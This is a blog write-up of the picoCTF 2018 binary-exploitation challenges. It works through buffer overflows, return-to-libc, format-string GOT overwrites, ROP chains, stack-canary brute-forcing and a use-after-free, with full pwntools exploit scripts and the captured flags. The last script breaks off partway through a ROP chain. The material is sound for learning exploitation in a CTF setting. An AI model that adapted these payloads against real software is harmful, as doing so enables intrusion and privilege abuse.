Live to Learn
picoctf 2018 write up - archive 본문
Original Documentation: https://evertokki.tistory.com/249
Written: 05 Feb 201914
I read the following post when I realized I needed pwntools: https://pequalsnp-team.github.io/cheatsheet/socket-basics-py-js-rb Awesome tool to have. Makes things more convenient and easier to share.
Note: this writeup covers binary exploitation only.
This is random but I found a set of slides with a lot of info (refer to the references section)
http://security.cs.rpi.edu/~candej2/user/userland_exploitation.pdf
https://www.cs.virginia.edu/~cr4bd/4630/S2017/schedule.html
leak-me
Points: 200
Can you authenticate to this service and get the flag? Connect with nc 2018shell.picoctf.com 38315.
Are all the system calls being used safely?
Some people can have reallllllly long names you know..
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int flag() {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
printf("%s", flag);
return 0;
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
gid_t gid = getegid();
setresgid(gid, gid, gid);
// real pw:
FILE *file;
char password[64];
char name[256];
char password_input[64];
memset(password, 0, sizeof(password));
memset(name, 0, sizeof(name));
memset(password_input, 0, sizeof(password_input));
printf("What is your name?\n");
fgets(name, sizeof(name), stdin);
char *end = strchr(name, '\n');
if (end != NULL) {
*end = '\x00';
}
strcat(name, ",\nPlease Enter the Password.");
file = fopen("password.txt", "r");
if (file == NULL) {
printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(password, sizeof(password), file);
printf("Hello ");
puts(name);
fgets(password_input, sizeof(password_input), stdin);
password_input[sizeof(password_input)] = '\x00';
if (!strcmp(password_input, password)) {
flag();
}
else {
printf("Incorrect Password!\n");
}
return 0;
}
Just try and overflow the buffer (because that's what I do when I see a problem - obviously not good practice and won't work on other CTFs than pico)
EverTokki@pico-2018-shell:~$ (echo -e `perl -e 'print "\x90"x312'`) | nc 2018shell.picoctf.com 38315What is your name?Hello �������������������������������������������������������������������
�������������������������������������������������������������������
�������������������������������������������������������������������
������������������������������������������������������,a_reAllY_s3cuRe_p4s$word_f85406
Incorrect Password!
got-2-learn-libc
Points: 250
This program gives you the address of some system calls. Can you get a shell?
try returning to systems calls to leak information
don't forget you can always return back to main()
I used pwntools by apt-getting in /home/<user> because this is the only directory you'll have the perms for on the pico server to do anything.
This was my first time using this tool + I was not familiar with python = writing disasterous code
Read up on the following articles for more info on GOT, PLT, RTL (return-to-libc) and how to actually execute them:
https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html
https://github.com/Bretley/how2exploit_binary/tree/master/exercise-4
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */
void vuln(){
char buf[BUFSIZE];
puts("Enter a string:");
gets(buf);
puts(buf);
puts("Thanks! Exiting now...");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Here are some useful addresses:\n");
printf("puts: %p\n", puts);
printf("fflush %p\n", fflush);
printf("read: %p\n", read);
printf("write: %p\n", write);
printf("useful_string: %p\n", useful_string);
printf("\n");
vuln();
return 0;
}
Basically you want to send 148 bytes of stuff, a return address (which is a call to system()), a dummy (which is the return address coming from system()), and the address of /bin/sh (given through the program output)
[Buffer 148 bytes] [RET 4 bytes] [DUMMY 4 bytes] [/bin/sh 4 bytes] |
If you run the program multiple times, you realize that the function addresses keep changing - yikes seems like ASLR!
That's why I recommended the readings above because you can bypass this.
First calculate the offset from libc <--> puts on gdb, then calculate the offset from libc <--> system because offsets are set values.
Because the program hands the address of puts to you after it's run, you don't have to worry about ASLR after implementing the code
The most challenging part was actually coding this up because it's been a while since I've ever touched python (about 5 years) and back then I wasn't even proficient either so.. after a lot of debugging I came up with the following code.
The nop is 160 long because if the exploit doesn't work with 148, basically just go up with multiples of 4 until you make it :)
from pwn import *
r = process('/problems/got-2-learn-libc_0_4c2b153da9980f0b2d12a128ff19dc3f/vuln')
r.recvline()
r.recvline()
p = r.recvline()
r.recvline()
r.recvline()
r.recvline()
ustr = r.recvline()
r.recvline()
r.recvline()
# Cut the received string into numbers (0x...)
p_addr = int(p[6:],16)
ustr_addr = int(ustr[15:],16)
#LIBC offsets
p_offset = 0x46C00
s_offset = 0x22400
#Calculate system address
s_addr = p_addr - p_offset + s_offset
#Payload
exploit = "\x90"*160
exploit += p32(s_addr, endian='little')
exploit += "\x90"*4
exploit += p32(ustr_addr, endian='little')
r.sendline(exploit)
r.interactive()
EverTokki@pico-2018-shell:~$ python rtl.py
[+] Starting local process '/problems/got-2-learn-libc_0_4c2b153da9980f0b2d12a128ff19dc3f/vuln': pid 31318
[*] Switching to interactive mode
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90@?[?\x90\x90\x90\x900P[V
Thanks! Exiting now...
$ cat /problems/got-2-learn-libc_0_4c2b153da9980f0b2d12a128ff19dc3f/flag.txt
picoCTF{syc4al1s_4rE_uS3fUl_b61928e8}$
authenticate
Points: 350
Can you authenticate to this service and get the flag? Connect with nc 2018shell.picoctf.com 52398.
What happens if you say something OTHER than yes or no?
If anyone knows me from my olden days, I've only known the format string vulnerability and never used it.
I've also known ROP and never tried it.
I've never bypassed stack canary. OR bypassed ASLR.
I love pico. It's a perfect opportunity.
https://blogs.tunelko.com/2013/11/11/format-string-attack-introduction/
This helped me a lot.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
int authenticated = 0;
int flag() {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
printf("%s", flag);
return 0;
}
void read_flag() {
if (!authenticated) {
printf("Sorry, you are not *authenticated*!\n");
}
else {
printf("Access Granted.\n");
flag();
}
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Would you like to read the flag? (yes/no)\n");
fgets(buf, sizeof(buf), stdin);
if (strstr(buf, "no") != NULL) {
printf("Okay, Exiting...\n");
exit(1);
}
else if (strstr(buf, "yes") == NULL) {
puts("Received Unknown Input:\n");
printf(buf);
}
read_flag();
}
So you want to overwrite the authenticated variable, but how? It's a global variable.. How could we ever reach that?
Take a look at the hint.
Well, if you don't give it an input thats YES or NO, it printfs buf (!!!!).. It's a format string bug.
(I opened the binary file on this page https://onlinedisassembler.com/ to find the address of the 'authenticated' variable)
Throw that inside your payload, load it into yo' stack and then now you have to locate it.
You see the buffer values when you give in the above. (Just put a bunch of %ps in the first time and locate where you see your stuff)
This means that our input is located after 11 4-byte chunks in the stack.
After putting the address of 'authenticated' into the buffer you want to overwrite it, right?
You can overwrite the 'authenticated' variable using %n , overwriting the 'authenticated' variable with anything other than 0.
(%n will refer to &<ADDRESS> which you already have put into the stack.)
EverTokki@pico-2018-shell:~$ cat auth.py
#exp.py
#!/usr/bin/env python
from pwn import *
r = remote('2018shell.picoctf.com', 52398)
print r.recvuntil("Would you like to read the flag? (yes/no)\n")
exploit = "\x4c\xa0\x04\x08"
exploit += "%p"*10
exploit += "%n"
print "Sending stuff...\n"
r.sendline(exploit)
print r.recv()
print r.recv()
EverTokki@pico-2018-shell:~$ python auth.py
[+] Opening connection to 2018shell.picoctf.com on port 52398: Done
Would you like to read the flag? (yes/no)
Sending stuff...
Received Unknown Input:
L\xa0\x00x80489a60xf776e5a00x804875a0xf77a60000xf77a69180xffbe35800xffbe3674(nil)0xffbe36140x42b
Access Granted.
picoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_0bec1698}
[*] Closed connection to 2018shell.picoctf.com port 52398
got-shell?
Points: 350
Can you authenticate to this service and get the flag? Connect to it with nc 2018shell.picoctf.com 46464. Ever heard of the Global Offset Table?
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
void win() {
system("/bin/sh");
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[256];
unsigned int address;
unsigned int value;
puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
scanf("%x", &address);
sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);
puts(buf);
scanf("%x", &value);
sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);
puts(buf);
*(unsigned int *)address = value;
puts("Okay, exiting now...\n");
exit(1);
}
So... I don't have a strong understanding of PLT / GOT either, all I know is that processes reference to them in order to execute library functions, such as printf(), puts(), exit()... etc.
For this problem I referred to the article below.
https://www.exploit-db.com/papers/13203
I eventually figured what I wanted to do was to overwrite the address that exit@plt was referring to.
With what? Of course, the address of win. Let's get that first.
EverTokki@pico-2018-shell:~$ gdb auth
Reading symbols from auth...(no debugging symbols found)...done.
(gdb) p win
$1 = {<text variable, no debug info>} 0x804854b <win>
Pretty straightforward. We want the function to jump to win after it executes.
Now let's find where we should overwrite these values on.
EverTokki@pico-2018-shell:~$ objdump --dynamic-reloc ./auth | grep exit
0804a014 R_386_JUMP_SLOT exit@GLIBC_2.0
We have two addresses.
dhcp-206-87-132-189:Downloads EverTokki$ nc 2018shell.picoctf.com 46464
I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?
0804a014
Okay, now what value would you like to write to 0x804a014
804854b
Okay, writing 0x804854b to 0x804a014
Okay, exiting now...
ls
auth
auth.c
flag.txt
xinet_startup.sh
cat flag.txt
picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_7a9e7634}
rop chain
Points: 350
Can you exploit the following program and get the flag?
Try and call the functions in the correct order!
Remember, you can always call main() again!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#define BUFSIZE 16
bool win1 = false;
bool win2 = false;
void win_function1() {
win1 = true;
}
void win_function2(unsigned int arg_check1) {
if (win1 && arg_check1 == 0xBAAAAAAD) {
win2 = true;
}
else if (win1) {
printf("Wrong Argument. Try Again.\n");
}
else {
printf("Nope. Try a little bit harder.\n");
}
}
void flag(unsigned int arg_check2) {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
printf("%s", flag);
return;
}
else if (win1 && win2) {
printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n");
}
else if (win1 || win2) {
printf("Nice Try! You're Getting There!\n");
}
else {
printf("You won't get the flag that easy..\n");
}
}
void vuln() {
char buf[16];
printf("Enter your input> ");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
Seems like you'll have to call win_function1 --> win_function2 --> flag in order to satisfy all conditions.
Sounds like rtl(return-to-libc) chaining. Guess we can call that rop(return-oriented-programming) too.
What we need:
1. Address to win_function1()
2. Address to win_function2()
3. Address to flag()
4. Gadget : pop ret
What we want the payload to look like:
[Buffer 16 bytes + x amount of padding (that you can determine by brute forcing)] [win1 address 4 bytes] [win2 address 4 bytes] [pop ret gadget 4 bytes] [ 0xBAAAAAAD ] [flag address 4 bytes] [dummy 4 bytes] [ 0xDEADBAAD ] |
Please read up on return-to-libc and some rop articles if you don't understand why the payload is as is.
Simply put, after returning from win2, you know that win2 takes one parameter (0xBAAAAAAD). So you have to jump over that one argument in order to execute flag(). (Basically what pop ret does.) If win2 were to take two parameters, you would have to find a pop pop ret gadget.
Let's do it.
EverTokki@pico-2018-shell:/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d$ gdb rop
Reading symbols from rop...(no debugging symbols found)...done.
(gdb) p win_function1
$1 = {<text variable, no debug info>} 0x80485cb <win_function1>
(gdb) p win_function2
$2 = {<text variable, no debug info>} 0x80485d8 <win_function2>
(gdb) p flag
$3 = {<text variable, no debug info>} 0x804862b <flag>
(gdb) q
EverTokki@pico-2018-shell:/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d$ objdump -d rop | grep -B4 "ret"
8048403: 74 05 je 804840a <_init+0x1e>
8048405: e8 b6 00 00 00 call 80484c0 <setresgid@plt+0x10>
804840a: 83 c4 08 add $0x8,%esp
804840d: 5b pop %ebx
804840e: c3 ret
rop.py:
You know what I totally forgot?
The p32 function. (smh)
from pwn import *
r = process('/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d/rop')
print r.recvuntil("Enter your input>")
exploit = "\x90"*28
exploit += "\xcb\x85\x04\x08" # win_function1
exploit += "\xd8\x85\x04\x08" # win_function2
exploit += "\x0d\x84\x04\x08" # gadget: pop ret
exploit += "\xAD\xAA\xAA\xBA" # win_function2 args
exploit += "\x2b\x86\x04\x08" # flag
exploit += "\x90"*4
exploit += "\xAD\xBA\xAD\xDE"
r.sendline(exploit)
print r.recvline()
But it works!
EverTokki@pico-2018-shell:/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d$ python /home/EverTokki/rop.py
[+] Starting local process '/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d/rop': pid 1887127
Enter your input>
picoCTF{rOp_aInT_5o_h4Rd_R1gHt_536d67d1}
[*] Stopped process '/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d/rop' (pid 1887127)
buffer overflow 3
Points: 450
It looks like Dr. Xernon added a stack canary to this program to protect against buffer overflows. Do you think you can bypass the protection and get the flag?
Maybe there's a smart way to brute-force the canary?
Took me much longer than it should've.
I read the following writeup after searching for 'brute-force stack canary':
https://github.com/VulnHub/ctf-writeups/blob/master/2017/codegate-prequels/babypwn.md
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 32
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
int i;
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
Read the writeup above, implement the code.
Brute-force each canary byte by checking whether you've overwritten the value with something that the program can't detect (correct canary byte) or one that gives you an error (wrong canary byte)
After your canary is cooked up, send the payload with a return address to win()
#!/usr/bin/env python
from pwn import *
canary = ""
canary_offset = 32
guess = 0x0
win = 0x80486eb
buf = ""
buf += "A" * canary_offset
while len(canary) < 4:
while guess != 0xff:
#try:
r = process('/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln')
r.recvuntil("How Many Bytes will You Write Into the Buffer?\n> ")
r.sendline("36")
r.recvuntil("Input> ")
r.send(buf + chr(guess))
d = r.recv(timeout=5)
print d
if "***" not in d:
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
buf += chr(guess)
guess = 0x0
break
else:
guess += 1
print "Canary:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
r = process('/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln')
r.recvuntil("How Many Bytes will You Write Into the Buffer?\n> ")
r.sendline("200")
r.recvuntil("Input> ")
r.send(buf + canary + p32(win)*10)
print r.recv(timeout=5)
me: so... do I need to know how to calculate the padding?
friend: no, because you'll usually be able to see it in your ida. since you have the source code here, you know it's safe to just put random numbers of stuff
EverTokki@pico-2018-shell:/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e$ python /home/EverTokki/cantest.py
[+] Starting local process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln': pid 54329
[*] Process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln' stopped with exit code 255 (pid 54329)
*** Stack Smashing Detected *** : Canary Value Corrupt!
[...]
[+] Starting local process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln': pid 58571
[*] Process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln' stopped with exit code 0 (pid 58571)
Ok... Now Where's the Flag?
Guessed correct byte: 25
Canary:\x3c\x7a\x4f\x25
[+] Starting local process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln': pid 58573
Ok... Now Where's the Flag?
picoCTF{eT_tU_bRuT3_F0Rc3_9bb35cfd}
echo back
Points: 500
This program we found seems to have a vulnerability. Can you get a shell and retreive the flag? Connect to it with nc 2018shell.picoctf.com 37402.
hmm, printf seems to be dangerous...
You may need to modify more than one address at once.
Ever heard of the Global Offset Table?
Great opportunity to solidify my understanding of PLT / GOT. :')
Although I watched a walkthrough of this problem, I still struggled with the concepts of FSB + GOT/PLT, so I got a friend to step me through the problem, literally hold my hand, and explain what had to be done.
Some few things he has mentioned:
1. It's easier (to understand your own payload + calculate offsets) if you put all the necessary addresses at the very beginning of your payload
2. If you have a negative offset that you have to overwrite, (e.g. you want to write 0x0804 but you already have outputted 0x8230 characters) you can use 0x10804 instead, with the %hn function in order to only write the last two bytes.
3. PLT is read-only.
After listening to his lecture for a while I went and watched the video above because for some reason, navigating through a program using gdb still sometimes confuses me over and the knowledge didn't seem to be sticking with me.
When you call a function, it jumps to PLT.
PLT contains a jump to the GOT.
GOT is a table, empty when you look at the binary file but once you run your program and your library is loaded, the addresses will be dynamically linked to the procedure so that another jump from the GOT will lead at the function at LIBC.
If you understand what a FSB is and how you can overwrite GOT with it, along with knowing the overall concept of got/plt you're ready for this problem.
WHAT WE WANT TO DO
printf@GOT --> system@PLT
puts@GOT --> &main
There are a lot of ways to get addresses but let's use the one I learned recently because I feel proud of myself:
EverTokki@pico-2018-shell:~/echoback$ objdump -R echoback
echoback: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT __gmon_start__
0804a038 R_386_COPY stdout@@GLIBC_2.0
0804a00c R_386_JUMP_SLOT read@GLIBC_2.0
0804a010 R_386_JUMP_SLOT printf@GLIBC_2.0
0804a014 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
0804a018 R_386_JUMP_SLOT getegid@GLIBC_2.0
0804a01c R_386_JUMP_SLOT puts@GLIBC_2.0
0804a020 R_386_JUMP_SLOT system@GLIBC_2.0
0804a024 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a028 R_386_JUMP_SLOT setvbuf@GLIBC_2.0
0804a02c R_386_JUMP_SLOT setresgid@GLIBC_2.0
EverTokki@pico-2018-shell:~/echoback$ objdump -d echoback | grep "system"
08048460 <system@plt>:
80485dc: e8 7f fe ff ff call 8048460 <system@plt>
printf@got: 0x0804A010 |
The reason you overwrite it to system@plt - first of all, you gotta overwrite GOT because you can't overwrite PLT
After you overwrite say, printf@GOT to system@PLT, the function will call vuln again (puts@GOT --> &main) the printf call at PLT will jump to system@PLT, which will then be jump to system@GOT and system@LIBC
from pwn import *
r = remote('2018shell.picoctf.com', 37402)
# r = process('/home/EverTokki/echoback/echoback')
system_plt = 0x08048460
printf_got_1 = 0x0804a010
printf_got_2 = 0x0804a012
puts_got_1 = 0x0804a01c
puts_got_2 = 0x0804a01e
main = 0x08048643
# buffer is located at 7th argument
# load addresses into buffer
# printf_got 2 bytes each
payload = p32(printf_got_1)
payload += p32(printf_got_2)
# puts_got 2 bytes each
payload += p32(puts_got_1)
payload += p32(puts_got_2)
# 16 bytes written
# overwrite printf @ GOT (which is the library address to printf) --> system @ plt
# write 0x8460(33888) to printf_got
payload += "%33872c%7$hn"
# write 0x10804(67588) to printf_got+2
payload += "%33700c%8$hn"
# overwrite puts @ GOT --> &main
# write 0x18643(99907) to puts_got
payload += "%32319c%9$hn"
# write 0x20804(133124) to puts_got+2
payload += "%33217c%10$hn"
print r.recvuntil("input your message:")
print "Sending payload..."
r.send(payload)
r.interactive()
EverTokki@pico-2018-shell:~/echoback$ python got_ovr.py
[+] Opening connection to 2018shell.picoctf.com on port 37402: Done
input your message:
Sending payload...
[*] Switching to interactive mode
\x10\xa0\x0\x12\xa0\x0\x1c\xa0\x0\x1e\xa0\x0
[...]
pinput your message:
$ ls
echoback
echoback.c
flag.txt
xinet_startup.sh
input your message:
$ cat flag.txt
picoCTF{foRm4t_stRinGs_aRe_3xtra_DanGer0us_ee5a92ac}
input your message:
$
[*] Interrupted
[*] Closed connection to 2018shell.picoctf.com port 37402
Not on topic but I really need to come up with some smart solution to embedding code on my blog..
are you root?
Points: 550
Can you get root access through this service and get the flag? Connect with nc 2018shell.picoctf.com 26847.
If only the program used calloc to zero out the memory..
Okay. Instead of the usual documenting-after-solve, I'll write things as I go.
This is a case of a use-after free bug. I was first introduced to it because my friend, cd80, had written a document on it (Korean): https://cd80.tistory.com/40
Instead of calloc, you're using malloc - this does not clean out your heap space after you finish using it. That's not good.
I kinda already knew this method, so the only thing I really have to do is understand how the bug works and how to implement an exploit.
I installed gdb peda.
Life is actually awesome with tools.. So far I've been having a great time, not sure how that's going to work out once problems get complicated.
Let's play around with the heap, because I have no idea how it works.
gdb-peda$ b *0x0400b4b
Breakpoint 1 at 0x400b4b
gdb-peda$ r
Starting program: /home/EverTokki/r_u_rt/auth
Available commands:
show - show your current user and authorization level
login [name] - log in as [name]
set-auth [level] - set your authorization level (must be below 5)
get-flag - print the flag (requires authorization level 5)
reset - log out and reset authorization level
quit - exit the program
Enter your command:
> login AAAA
gdb-peda$ c
Continuing.
Logged in as "AAAA"
Enter your command:
> set-auth 3
gdb-peda$ parseheap
addr prev size status fd bk
0x603000 0x0 0x410 Used None None
0x603410 0x0 0x20 Used None None
0x603430 0x0 0x20 Used None None
gdb-peda$ x/40wx 0x603410
0x603410: 0x00000000 0x00000000 0x00000021 0x00000000
0x603420: 0x00603440 0x00000000 0x00000003 0x00000000 <---- AUTH_VAR
0x603430: 0x00000000 0x00000000 0x00000021 0x00000000
0x603440: 0x41414141 0x00000000 0x00000000 0x00000000 <---- NAME
0x603450: 0x00000000 0x00000000 0x00020bb1 0x00000000
0x603460: 0x00000000 0x00000000 0x00000000 0x00000000
0x603470: 0x00000000 0x00000000 0x00000000 0x00000000
0x603480: 0x00000000 0x00000000 0x00000000 0x00000000
0x603490: 0x00000000 0x00000000 0x00000000 0x00000000
0x6034a0: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$
Three things to note:
1. The 0x21 is the least significant bits, that are used in order to indicate that the block above is being used (in the heap). So after you free the heap space, this would be changed to 0x20 (from: https://0x00sec.org/t/heap-exploitation-abusing-use-after-free/3580)
2. You can see that AAAA and 3 were both stored in the heap.
3. The file is 64-bits which I've never worked with :')
What I concluded (after suffering for a whole two hours):
I struct an instance of user, with some kind of name + '\x05' --> I reset (free(user->name)) and login(malloc(user)) again, with the same name.
Now that there is a 5 after the name of the new user (which the code thinks it references to as "level").
What took a long time for me was that I thought this would be some pointer manipulation problem.
EverTokki@pico-2018-shell:~/r_u_rt$ (echo `perl -e 'print "login ", "A", "\x05"x8'`;cat)|nc 2018shell.picoctf.com 26847
Available commands:
show - show your current user and authorization level
login [name] - log in as [name]
set-auth [level] - set your authorization level (must be below 5)
get-flag - print the flag (requires authorization level 5)
reset - log out and reset authorization level
quit - exit the program
Enter your command:
> Logged in as "A"
Enter your command:
> reset
Logged out!
Enter your command:
> login A
Logged in as "A"
Enter your command:
> show
Logged in as A [5]
Enter your command:
> get-flag
picoCTF{m3sS1nG_w1tH_tH3_h43p_4baeffe9}
can-you-gets-me
Points: 650
Can you exploit the following program to get a flag? You may need to think return-oriented if you want to program your way to the flag.
This is a classic gets ROP
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("GIVE ME YOUR NAME!\n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
Yo it'd be actually dope if I could do this (this is dope because the last time I tried ROP was 3 years ago and I couldn't understand it)
References:
https://bytesoverbombs.io/bypassing-dep-with-rop-32-bit-39884e8a2c4a
https://css.csail.mit.edu/6.858/2014/readings/i386.pdf
https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/
My friend's documentation (Korean): https://t1.daumcdn.net/cfile/tistory/23274B3855A3B4F00E
I mainly followed this write-up through my steps.
http://barrebas.github.io/blog/2015/06/28/rop-primer-level0/
EverTokki@pico-2018-shell:/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40$ gdb -q gets Reading symbols from gets...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ |
1. Look at the source code; we don't have a system call or anything, only gets() --> we want to build a ROP chain for execve("/bin/sh")
We're going to do this using gadgets. Gadgets, in this case, will help you store information in the registers because the system call uses registers to pass on arguments (this may depend because arguments can be passed on the stack too)
You could either refer to the linux sys call page or check out the man page to execve.
int execve(const char *filename, char *const argv[], char *const envp[]); ebx ecx edx |
2. Dump your gadgets (I used ROPgadget)
> We'll need int 0x80; ret, and a few more
3. Find read/writeable space
EverTokki@pico-2018-shell:/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40$ gdb -q gets
Reading symbols from gets...(no debugging symbols found)...done.
gdb-peda$ vmmap
Warning: not running
Start End Perm Name
0x080481a8 0x080bb314 rx-p /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets
0x080480f4 0x080e87dc r--p /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets
0x080e9f5c 0x080ebda4 rw-p /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets
gdb-peda$
0x080b81c6 : pop eax ; ret
0x0806f02a : pop edx ; ret
0x080549db : mov dword ptr [edx], eax ; ret
0x08049303 : xor eax, eax ; ret
"The plan is now to pop the address 0x080e9f5c into edx and the value /bin into eax. The address is arbitrary, but chosen such that we don’t overwrite anything important or that the address contains NULL bytes."
from pwn import *
#r = process('/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets')
#r = process('/home/EverTokki/rop/gets')
writeable_memory = 0x080e9040
pop_eax = 0x080b81c6
pop_edx = 0x0806f02a
mov_eax_to_edx = 0x080549db
payload = ""
# reaching the saved return address
payload += "A"*20
payload += p32(pop_edx) # pop edx; ret
payload += p32(writeable_memory) # read_writeable space
payload += p32(pop_eax) # pop eax; ret
payload += "BBBB" # first part of /bin/sh
payload += p32(mov_eax_to_edx)
writeable_memory += 4
payload += p32(pop_edx) # pop edx; ret
payload += p32(writeable_memory) # read_writeable space
payload += p32(pop_eax) # pop eax; ret
payload += "/bin" # first part of /bin/sh
payload += p32(mov_eax_to_edx) # mov dword ptr[edx], eax; ret
writeable_memory += 4
payload += p32(pop_edx) # pop edx; ret
payload += p32(writeable_memory) # read_writeable space
payload += p32(pop_eax) # pop eax; ret
payload += "/shX" # null-terminate this string later
